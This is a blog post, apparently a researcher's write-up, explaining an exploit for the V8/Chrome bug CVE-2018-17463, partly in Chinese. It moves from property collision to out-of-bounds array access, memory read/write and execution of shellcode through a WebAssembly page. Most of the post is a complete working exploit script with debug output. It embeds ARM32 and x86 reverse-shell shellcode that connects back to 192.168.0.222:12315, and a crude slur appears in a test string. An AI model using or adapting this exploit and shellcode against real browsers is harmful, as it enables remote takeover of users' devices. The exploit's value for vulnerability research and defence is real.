2019-03-01

CVE-2018-17463 Chrome OOB Exploit

1. CVE-2018-17463 Chrome OOB Exploit

1.1. 1.find collision

obj = {
    a: 0,
    x0: 0x4040,
    x1: 0x4101,
    x2: 0x4102,
    ...
}

badCreate {
    o.a
    this.Object.create(o)
    return 对象的 x1-xn的值 [o.x1, o.x2, ..., o.xn]
}

如果 xn != 0x4100 + n 说明碰撞成功

例如循环N次中:

obj = {
    a: 0,
    x0: 0x4040,
    x1: 0x4101,
    ...
}

obj 经过badCreate 返回 [
    0x4040,     // x0
    0x4041,     // x1
    0x4042,     // x2
    0x4043,     // x3
    0x4044,     // x4
    0x4042,     // x5 == obj.x2
    0x4046,     // x6
    0x4047,     // x7
    0x4048,     // x8
    ...
]

找到了碰撞的两个值 分别为 x5 和 x2

假如原来 x5 = [obj + 0x10] 触发漏洞以后 x5 = [obj + 0x10] = x2的值

即内存相同偏移的数据改变了, 当我们要获取x5的值时, 其实拿到的是x2的值, 当要写入x5的值时, 其实写到的是x2的内存

1.2. 2.relative offsets

每次执行的碰撞值是不同的,如执行三次:

egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc
[+] x15 & x25 are collision in directory
egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc
[+] x21 & x8 are collision in directory
egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc
[+] x15 & x4 are collision in directory

在一次执行过程中,相同属性构造的Object,在DictionaryProperties中的偏移是相同的。

如获取一次碰撞数据之后,立即创建新的对象, 并将对象打印出来:

egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc
[+] x6 & x9 are collision in directory
[!] set object base to 12340000
[0]: 49
[1]: 0
[2]: 128
[3]: 50
[4]: 0
[5]: x9
[6]: 12340009
[7]: 3008
[8]: x12
[9]: 12340012
....

结果显示相同位置的 x6 数据和 x9 数据发生了碰撞,与前边寻找到的碰撞偏移结果相同。

1.3. 3.array oob

当前碰撞位置为数据,如果碰撞位置为对象的话,就可以通过写操作去修改对象属性

getCleanSpace()
let oobArray = new Array(0x3)
getCleanSpace()
const oobArrayBuffer = new ArrayBuffer(0x2000)
getCleanSpace()
let oobObject = { a: 0x1111, b: 0x2222, c:0x3333 }
getCleanSpace()

创建三个相邻对象,分别为 Array, ArrayBuffer, Object, 在内存中的布局(偏移通过调试获得):

----> Array
...
+0xc:   00000006     length
+0x14:  00000006     length
...
----> ArrayBuffer
...
+0x10:  56c4b920     backing_store
...
----> Object
...
+0xc:   00002222     #a
+0x10:  00004444     #b
+0x14:  00006666     #c
...

当我们碰撞的是 Array 和 Object 时, 我们修改 Object第一个值和第三个值, 相当于修改了 Array.length, 造成 Array 越界, 从而可以控制 ArrayBuffer.backing_store的指向,以及后边的Object对象

1.4. 4.leak object

oobArray越界之后, 找到 oobObject.a 在 oobArray 中的索引 index

之后通过 设置 oobObject.a = func 可以通过 oobArray[index] 泄漏 func 对象地址

1.5. 5.rw ability

oobArray越界之后, 找到 oobArrayBuffer.backing_store 在 oobArray 中的索引 index

之后通过 设置 oobArray[index] 来改变 oobArrayBuffer.backing_store 指向

最后通过 oobArrayBuffer 的 DataView 来进行读写操作

1.6. 6.shellcode

定义WebAssembly函数, 将 shellcode 覆盖导出函数,然后执行导出函数即可

写入位置为:

JSFunciton -> SharedFunctionInfo -> WasmExportedFunctionData -> instance -> imported_function_targets[x]

1.7. 7.exe flow

egg@ubuntu:~/Working/cve-2018-17463$ ./runexp
[+] CVE-2018-17463 exists in the d8
[+] x15 & x13 are collision in directory
[*] ---------- array oob before ---------- *
[*] fArray[3]:
[0] 0x0:  0x40404040
[0] 0x4:  0x0
[1] 0x8:  0x41414141
[1] 0xc:  0x0
[2] 0x10: 0xdeadbeef
[2] 0x14: 0x0
[+] 2459 times, oob Array Length: 3 -> 16
[*] ---------- array oob after ---------- *
[*] fArray[16]:
[0] 0x0:  0x40404040
[0] 0x4:  0x0
[1] 0x8:  0x41414141
[1] 0xc:  0x0
[2] 0x10: 0xdeadbeef
[2] 0x14: 0x0
[3] 0x18: 0x4fe051b9
[3] 0x1c: 0x2a9846d1
[4] 0x20: 0x2a9846d1
[4] 0x24: 0x2000
[5] 0x28: 0x57007de0
[5] 0x2c: 0x2
[6] 0x30: 0x0
[6] 0x34: 0x0
[7] 0x38: 0x4fe09859
[7] 0x3c: 0x2a9846d1
[8] 0x40: 0x2a9846d1
[8] 0x44: 0x8282
[9] 0x48: 0x2a9841a5
[9] 0x4c: 0x12a
[10]  0x50: 0x62
[10]  0x54: 0x2a985425
[11]  0x58: 0x3a894cd1
[11]  0x5c: 0x10c80
[12]  0x60: 0x2
[12]  0x64: 0x3592e38d
[13]  0x68: 0x204c80
[13]  0x6c: 0x2
[14]  0x70: 0x3592e39d
[14]  0x74: 0x400480
[15]  0x78: 0x2
[15]  0x7c: 0x3592e3ad
[*] find index of oobArray...
[*] to fixed backing_store index 4,1
[+] backing_store index in oobArray: 5,0
[+] object index in oobArray:8,1
the gay is lazy, nothing left.
[*] WebAssembly function return: 0x41414141
[+] JSFunciton addr: 0x421a1145
[+] SharedFunctionInfo addr: 0x421a1121
[+] WasmExportedFunctionData addr: 0x421a110d
[+] WasmInstanceObject addr: 0x421a1035
[+] imported_function_targets addr: 0x5700c170
[+] rwx_entry addr: 0x2252c4e0
[*] write shellcode at rwx_entry memory: 0x2252c4e0
[*] dangerous to run shellcode...

1.8. exploit32

/*CVE-2018-17463
  Incorrect side effect annotation in V8 in Google Chrome
  prior to 70.0.3538.64 allowed a remote attacker
  to execute arbitrary code inside a sandbox via a crafted HTML page.

  adb logcat | grep chromium
*/
/*
  ---------- utils ---------- start ----------
*/
class Log {
    constructor(l, s=false){
        this.level = l
        this.syntax = s
        this.lv = {
            debug: 0,
            warn: 1,
            success: 2,
            error: 3,
        }
    }

    setLevel(l) {
        this.level = l
    }

    toString(v, l) {
        var s = v
        if (v.__proto__ === Object.prototype || v.__proto__ === Array.prototype) {
            s = JSON.stringify(
                v/*,
                   function replacer(k, v) {
                   if (Math.floor(v) === v) {
                   return '0x' + v.toString(16)
                   }
                   return v
                   }*/
            )
        }

        switch(l) {
        case this.lv.debug:
            return '[*] ' + s
            break;
        case this.lv.warn:
            return '[!] ' + s
            break;
        case this.lv.success:
            return '[+] ' + s
            break;
        case this.lv.error:
            return '[-] ' + s
            break;
        default:
            return s
        }
    }

    debug(v) {
        if(this.lv.debug >= this.level ) {
            if (this.syntax) {
                eval(`;%DebugPrint(v);`)
            } else {
                console.log(this.toString(v, this.lv.debug))
            }
        }
    }

    warn(v) {
        if(this.lv.warn >= this.level ) {
            console.log(this.toString(v, this.lv.warn))
        }
    }

    success(v) {
        if(this.lv.success >= this.level ) {
            console.log(this.toString(v, this.lv.success))
        }
    }

    error(v) {
        if(this.lv.error >= this.level ) {
            console.log(this.toString(v, this.lv.error))
        }
        eval(`
            throw new Error()
        `)
    }

    break() {
        if (this.syntax) {
            eval(`;%SystemBreak();`)
        }
    }
    /*
      print float Array
    */
    fArray(a, bs=8) {
        if (this.level > this.lv.debug) {
            return
        }
        if(bs === 4) {
            console.log('[*] uArray[' + a.length + ']:')
            for(let i = 0; i < a.length; i++) {
                console.log('\t[' + i + ']:\t+0x' + (i*bs).toString(16) + ':\t0x' + a[i].toString(16))
            }
        } else
            if(bs === 8) {
                console.log('[*] fArray[' + a.length + ']:')
                for(let i = 0; i < a.length; i++) {
                    const [lo, hi] = funcUtils.f2u(a[i])
                    console.log('\t[' + i + ']\t' + '0x' + (i*bs).toString(16) + ':\t0x' + lo.toString(16))
                    console.log('\t[' + i + ']\t' + '0x' + (i*bs+(bs/2)).toString(16) + ':\t0x' + hi.toString(16))
                }
            }
    }
}

const dlog = new Log(0, false)


const __EXPERI__ = false
const __ANDROID__ = true


var funcUtils = (
    function() {
        return {
            f2u: function(v) {
                let f64 = new Float64Array(1)
                let u32 = new Uint32Array(f64.buffer)
                f64[0] = v
                return u32
            },

            u2f: function(lo, hi) {
                let f64 = new Float64Array(1)
                let u32 = new Uint32Array(f64.buffer)
                u32[0] = lo
                u32[1] = hi
                return f64
            },

            utf8ToString: function(h, p) {
                let s = ""
                for (i = p; h[i]; i++) {
                    s += String.fromCharCode(h[i])
                }
                return s
            },

            /*
              find value index of float array
              if bs === 4:
              return [index, 0/1]
              if bs === 8:
              return [indxe, 0]
            */
            fArrayIndexOf: function(a, v, bs=4) {
                for(let i = 0; i < a.length; i++) {
                    if (bs === 8) {
                        if (a[i] === v) return [i, 0]
                    } else
                        if (bs === 4) {
                            const [lo, hi] = this.f2u(a[i])
                            // console.log('0x' + lo.toString(16) + ', 0x' + hi.toString(16))
                            if (lo === v) return [i, 0]
                            if (hi === v) return [i, 1]
                        }
                }
                return null
            },

            getWasmFunc: function() {
                /*
                  int hack(int x) {
                  int ret = puts("the gay is lazy, nothing left.");
                  return ret + x;
                  }
                */
                let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,104,97,99,107,0,1,10,143,128,128,128,0,1,137,128,128,128,0,0,65,16,16,0,32,0,106,11,11,165,128,128,128,0,1,0,65,16,11,31,116,104,101,32,103,97,121,32,105,115,32,108,97,122,121,44,32,110,111,116,104,105,110,103,32,108,101,102,116,46,0])
                let wasmImports = {
                    env: {
                        puts: function puts (i32) {
                            // console.log(i32)
                            // console.log('the gay is lazy, nothing left.')
                            console.log(funcUtils.utf8ToString(h, i32))
                            return 0x41414141
                        }
                    }
                }

                let wasmInstance = new WebAssembly.Instance(new WebAssembly.Module(wasmCode), wasmImports)
                let h = new Uint8Array(wasmInstance.exports.memory.buffer)
                return wasmInstance.exports.hack
            },

            getWasmOff: function() {
                if (__ANDROID__) {
                    // JSFunciton -> JS_TO_WASM_FUNCTION -> Instructions
                    return [0x18, 0x40]
                } else {
                    // JSFunciton -> SharedFunctionInfo -> WasmExportedFunctionData -> instance -> imported_function_targets[x]
                    return [0xc, 0x4, 0x8, 0x64, 0x0]
                }
            },

            getShellCode: function() {
                if(__ANDROID__) {
                    return [
                        /* arm32 reverse shell 192.168.0.222 12315 */
                        0x02, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef,
                        0x00, 0x00, 0x50, 0xe3, 0x02, 0x00, 0x00, 0x0a,
                        0x00, 0x00, 0xa0, 0xe3, 0x01, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x42, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0xa0, 0xe3,
                        0x01, 0x10, 0xa0, 0xe3, 0x05, 0x20, 0x81, 0xe2,
                        0x01, 0x7c, 0xa0, 0xe3, 0x19, 0x70, 0x87, 0xe2,
                        0x00, 0x00, 0x00, 0xef, 0x00, 0x60, 0xa0, 0xe1,
                        0x6c, 0x10, 0x8f, 0xe2, 0x10, 0x20, 0xa0, 0xe3,
                        0x01, 0x7c, 0xa0, 0xe3, 0x1b, 0x70, 0x87, 0xe2,
                        0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1,
                        0x00, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1,
                        0x01, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1,
                        0x02, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x30, 0x00, 0x8f, 0xe2,
                        0x04, 0x40, 0x24, 0xe0, 0x10, 0x00, 0x2d, 0xe9,
                        0x36, 0x30, 0x8f, 0xe2, 0x08, 0x00, 0x2d, 0xe9,
                        0x0d, 0x20, 0xa0, 0xe1, 0x10, 0x00, 0x2d, 0xe9,
                        0x23, 0x40, 0x8f, 0xe2, 0x10, 0x00, 0x2d, 0xe9,
                        0x0d, 0x10, 0xa0, 0xe1, 0x0b, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0x30, 0x1b,
                        0xc0, 0xa8, 0x00, 0xde, 0x2f, 0x73, 0x79, 0x73,
                        0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
                        0x73, 0x68, 0x00, 0x73, 0x68, 0x00, 0x50, 0x41,
                        0x54, 0x48, 0x3d, 0x2f, 0x73, 0x62, 0x69, 0x6e,
                        0x3a, 0x2f, 0x76, 0x65, 0x6e, 0x64, 0x6f, 0x72,
                        0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x79,
                        0x73, 0x74, 0x65, 0x6d, 0x2f, 0x73, 0x62, 0x69,
                        0x6e, 0x3a, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65,
                        0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73,
                        0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x78, 0x62,
                        0x69, 0x6e, 0x00, 0x00,
                    ]
                } else {
                    return [
                        /* linux bash shell
                           0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68,
                           0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x89,
                           0xc1, 0x89, 0xc2, 0x6a, 0x0b, 0x58, 0xcd, 0x80,
                        */
                        /* linux32 reverse shell 192.168.0.222 12315 */
                        0x31, 0xc0, 0x89, 0xc3, 0x50, 0x6a, 0x01, 0x6a,
                        0x02, 0x43, 0x89, 0xe1, 0xb0, 0x66, 0xcd, 0x80,
                        0x43, 0x68, 0xc0, 0xa8, 0x00, 0xde, 0x66, 0x68,
                        0x30, 0x1b, 0x66, 0x53, 0x89, 0xe1, 0x6a, 0x10,
                        0x51, 0x50, 0x43, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
                        0x80, 0x5b, 0x6a, 0x02, 0x59, 0xb0, 0x3f, 0xcd,
                        0x80, 0x49, 0x79, 0xf9, 0x31, 0xc9, 0x31, 0xd2,
                        0x52, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f,
                        0x62, 0x69, 0x6e, 0x89, 0xe3, 0x31, 0xc0, 0xb0,
                        0x0b, 0xcd, 0x80,
                    ]
                }
            }

        }
    }
)()

function gc() {
    for(var i=0;i<(1024*1024)/16;i++){
        var a = new String()
    }
}

function getCleanSpace() {
    gc()
    gc()
    gc()
}

/*
  ---------- utils ---------- end ----------
*/

var fixedObject = (
    function() {
        let name = 'x'
        let length = 0x30
        let base = 41410000
        return {
            new: function() {
                var obj = { a: 0 }
                for(let n = 0; n < length; n++) {
                    eval(`obj.${name + n} = ${base + n};`)
                }
                return obj
            },
            attr: function() {
                var arr = []
                for (let n = 0; n < length; n++) {
                    arr[n] = name + n
                }
                return arr
            },
            init: function() {
                name = 'x'
                length = 0x30
                base = 41410000
            },
            get: function(t) {
                switch (t) {
                case 'n':
                    return name
                case 'l':
                    return length
                case 'b':
                    return base
                default:
                    return ''
                }
            },
            set: function(t, v) {
                switch (t) {
                case 'n':
                    name = v
                    break
                case 'l':
                    length = v
                    break
                case 'b':
                    base = v
                    break
                default:
                    break
                }
            },
            oob: function(X, Y, oa) {
                /*
                  collision: X, Y
                  oobArray: oa
                */
                var obj = { a: 0 }
                const x = name
                for(let n = 0; n<length; n++) {
                    if((x + n) == X) {
                        eval(`obj.${X} = { x: { x1: 4141, x2:2, x3:3, x4:4, x5:5 } }`)
                    } else if ((x + n) == Y) {
                        eval(`obj.${Y} = { y: oa }`)
                    } else {
                        eval(`obj.${x + n} = {}`)
                    }
                }
                return obj
            }
        }
    }
)()

function findCollision() {
    const attrs = fixedObject.attr()
    const base = fixedObject.get('b')
    const name = fixedObject.get('n')
    const len = fixedObject.get('l')

    // the Collision values for [x, y]
    var COVS = new Array(2)

    eval(`
        function badCreate(o){
            o.a
            this.Object.create(o)
            ${attrs.map((v) => `let ${v} = o.${v};`).join('\n')}
            return [${attrs.join(', ')}];
        }
    `)

    for (let i = 0; i < 10000; i++) {
        // get bad object attr values.
        let av = badCreate(fixedObject.new())
        // dlog.debug(i + ': ' + av)
        for (let j = 0; j < av.length; j++) {
            if(av[j] != j + base && av[j] > base && av[j] < base + len ){
                // dlog.debug(i + ': ' + av[j] + ' Array=> ' + av)
                COVS[0] = name + j
                COVS[1] = name + (av[j] - base)
                // dlog.success(COVS[0] + ' & ' + COVS[1] + " are collision in directory")
                dlog.break()

                if(__EXPERI__) {
                    // debug to check Relative offset
                    fixedObject.set('b', 12340000)
                    dlog.warn('set object base to ' + fixedObject.get('b'))
                    obj = fixedObject.new()
                    av = badCreate(obj)
                    fixedObject.print(av)
                }

                return COVS
            }
        }
    }
    dlog.error('collision not found!')
    return false
}

function oobArrayLength(cols, oobArray, oobLen){
    /*
      cols: 碰撞的两个对象
      oobArray: 需要修改长度的Array对象
    */
    const orgLen = oobArray.length
    const [X, Y] = cols

    eval(`
        function badCreate(o){
            o.a
            this.Object.create(o)
            // let ret = o.${X}.x.x1
            o.${X}.x.x1 = oobLen
            o.${X}.x.x3 = oobLen
            // return ret
        }
    `)
    for (let i = 0; i < 10000; i++) {
        // let ret =
        badCreate(fixedObject.oob(X, Y, oobArray))
        // dlog.debug('[' + i + ']: ' + ret + ', length: ' + oobArray.length)
        // if(ret != 4141) {
        if(oobArray.length != orgLen) {
            dlog.success(i + ' times, oob Array Length: ' + orgLen + ' -> ' + oobArray.length)
            return oobArray.length
        }
    }
    dlog.error('oob Array Length failed!')
}


function checkVul(){
    function badCreate(o) {
        o.a // = 0x10
        Object.create(o)
        return o.b
    }
    for (let i = 0; i < 10000; i++) {
        let obj = { a: 0x1 }
        obj.b = 0x4141
        obj.c = 0x3
        obj.d = 0x4
        obj.e = 0x5
        // r = obj元素个数
        const r = badCreate(obj)
        // console.log(i + ' bad.b=0x' + r.toString(16))
        if ( r !== 0x4141 ) {
            // dlog.success(i + ': ' + r + '!=' + obj.b)
            // console.log("CVE-2018-17463 exists in the d8")
            return true
        }
    }
    return false
}

function wasmFunc() {

}

function exploit() {
    if(checkVul()) {
        dlog.success('CVE-2018-17463 exists in the d8')
    } else {
        dlog.error('CVE-2018-17463 not exists in the d8')
        return false
    }

    getCleanSpace()

    let oobArray = new Array(0x3)
    oobArray[0] = 5.325793356e-315 // funcUtils.u2f(0x40404040, 0)
    oobArray[1] = 5.40900888e-315 // funcUtils.u2f(0x41414141, 0)
    oobArray[2] = 1.8457939563e-314 //funcUtils.u2f(0xdeadbeef, 0)
    getCleanSpace()

    let oobLen = 0x2000
    let oobArrayBuffer = new ArrayBuffer(oobLen)
    getCleanSpace()

    let oobObj = { a: 0x4141 }
    getCleanSpace()

    const cols = findCollision()
    dlog.success(cols[0] + ' & ' + cols[1] + " are collision in directory")

    dlog.debug('---------- array oob before ---------- *')
    // dlog.debug(oobArray)
    dlog.fArray(oobArray)
    oobArrayLength(cols, oobArray, 0x10)
    dlog.debug('---------- array oob after ---------- *')
    // dlog.debug(oobArray)
    dlog.fArray(oobArray)
    /* uArray
       [*] fArray[16]:
       [0]  0x0:  0x40404040
       [0]  0x4:  0x0
       [1]  0x8:  0x41414141
       [1]  0xc:  0x0
       [2]  0x10: 0xdeadbeef
       [2]  0x14: 0x0
       [3]  0x18: 0x28b04101
       [3]  0x1c: 0x30
       [4]  0x20: 0x25399731
       [4]  0x24: 0xcccccccc
       [5]  0x28: 0xcccccccc
       [5]  0x2c: 0xcccccccc
       [6]  0x30: 0x50e851b9
       [6]  0x34: 0x28b046d1
       [7]  0x38: 0x28b046d1
       [7]  0x3c: 0x2000
       [8]  0x40: 0x57556db0
       [8]  0x44: 0x2
       [9]  0x48: 0x0
       [9]  0x4c: 0x0
       [10] 0x50: 0x50e89949
       [10] 0x54: 0x28b046d1
       [11] 0x58: 0x28b046d1
       [11] 0x5c: 0x8282
       [12] 0x60: 0x28b072e9
       [12] 0x64: 0x3c585d6d
       [13] 0x68: 0x28b042ed
       [13] 0x6c: 0x0
       [14] 0x70: 0x0
       [14] 0x74: 0x28b042ed
       [15] 0x78: 0x4
       [15] 0x7c: 0x28b042ed
    */
    dlog.debug('find index of oobArray...')
    let backingStoreIndex = []
    let objectIndex = []

    // in release will 0x4000
    let alIndex = funcUtils.fArrayIndexOf(oobArray, oobLen)
    if (alIndex === null ) alIndex = funcUtils.fArrayIndexOf(oobArray, oobLen*2)
    if (alIndex === null) {
        dlog.error('find backing_store index failde!')
        return false
    } else {
        dlog.debug('to fixed backing_store index ' + alIndex)
    }
    /*
      [5, 1] -> [6, 0]
      [5, 0] -> [5, 1]
    */

    backingStoreIndex = [alIndex[0] + (alIndex[1]%2), (alIndex[1]+1)%2]
    dlog.success('backing_store index in oobArray: ' + backingStoreIndex)

    findV = oobObj.a * 2
    objectIndex = funcUtils.fArrayIndexOf(oobArray, findV)
    dlog.success('object index in oobArray:' + objectIndex)

    function addrOf(obj) {
        /*
          read obj point by oobArray
        */
        oobObj.a = obj
        const [index ,off] = objectIndex
        return funcUtils.f2u(oobArray[index])[off]
    }

    function unit32RW(address, type=1, value=0) {
        /*
          read/write value/array by oobArray.backing_store
          1: read
          2: write
        */
        const [index ,off] = backingStoreIndex
        const [org0, org1] = funcUtils.f2u(oobArray[index])
        let f64 = 0
        if (off === 0) {
            [f64] = funcUtils.u2f(address, org1)
        } else
            if (off === 1) {
                [f64] = funcUtils.u2f(org0, address)
            }
        oobArray[index] = f64
        // dlog.fArray(oobArray)

        var dv = new DataView(oobArrayBuffer)
        if(type === 1) {
            return dv.getUint32(0, true)
        } else
            if (type === 2) {
                if (value.__proto__ === Array.prototype) {
                    for(let i = 0; i < value.length; i++) {
                        dv.setUint32(i, value[i], true)
                    }
                } else
                    if (value.__proto__ === Number.prototype) {
                        dv.setUint32(0, value, true)
                    }
            }
    }

    const f = funcUtils.getWasmFunc()
    dlog.debug('WebAssembly function return: 0x' + f().toString(16))

    const JSFunciton = addrOf(f)
    dlog.success('JSFunciton addr: 0x' + JSFunciton.toString(16))

    let wasmOff = funcUtils.getWasmOff()
    let rwx_entry = 0

    if (__ANDROID__) {
        const js2WasmCode = unit32RW(JSFunciton-1 + wasmOff[0])
        dlog.success('JS_TO_WASM_FUNCTION addr: 0x' + js2WasmCode.toString(16))

        const js2WasmIns = js2WasmCode-1 + wasmOff[1]
        dlog.success('Instructions addr: 0x' + js2WasmIns.toString(16))

        rwx_entry = js2WasmIns

    } else {
        const SharedFunctionInfo = unit32RW(JSFunciton-1 + wasmOff[0])
        if(SharedFunctionInfo === 0) dlog.error('SharedFunctionInfo = 0')
        dlog.success('SharedFunctionInfo addr: 0x' + SharedFunctionInfo.toString(16))

        const WasmExportedFunctionData = unit32RW(SharedFunctionInfo-1 + wasmOff[1])
        if(WasmExportedFunctionData === 0) dlog.error('WasmExportedFunctionData = 0')
        dlog.success('WasmExportedFunctionData addr: 0x' + WasmExportedFunctionData.toString(16))

        const WasmInstanceObject = unit32RW(WasmExportedFunctionData-1 + wasmOff[2])
        if(WasmInstanceObject === 0) dlog.error('WasmInstanceObject = 0')
        dlog.success('WasmInstanceObject addr: 0x' + WasmInstanceObject.toString(16))

        let imported_function_targets = unit32RW(WasmInstanceObject-1 + wasmOff[3])
        if(imported_function_targets === 0) dlog.error('imported_function_targets = 0')
        dlog.success('imported_function_targets addr: 0x' + imported_function_targets.toString(16))
        /*
          if(true) {
          let rv = 0
          for(let i = 0; i < 0x10; i++) {
          rv = unit32RW(imported_function_targets + i * 4)
          dlog.debug('imported_function_targets + 0x' + (i*4).toString(16) + ': 0x' + rv.toString(16))
          }
          }
        */
        rwx_entry = unit32RW(imported_function_targets + wasmOff[4])
    }

    if(rwx_entry === 0) dlog.error('rwx_entry = 0')
    dlog.success('rwx_entry addr: 0x' + rwx_entry.toString(16))

    dlog.debug('write shellcode at rwx_entry memory: 0x' + rwx_entry.toString(16))
    let shellcode = funcUtils.getShellCode()
    unit32RW(rwx_entry, 2, shellcode)

    dlog.debug('dangerous to run shellcode...')
    f()
}

exploit()


Author: idhyt

Created: 2019-03-02 Thu 15:11

Validate

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...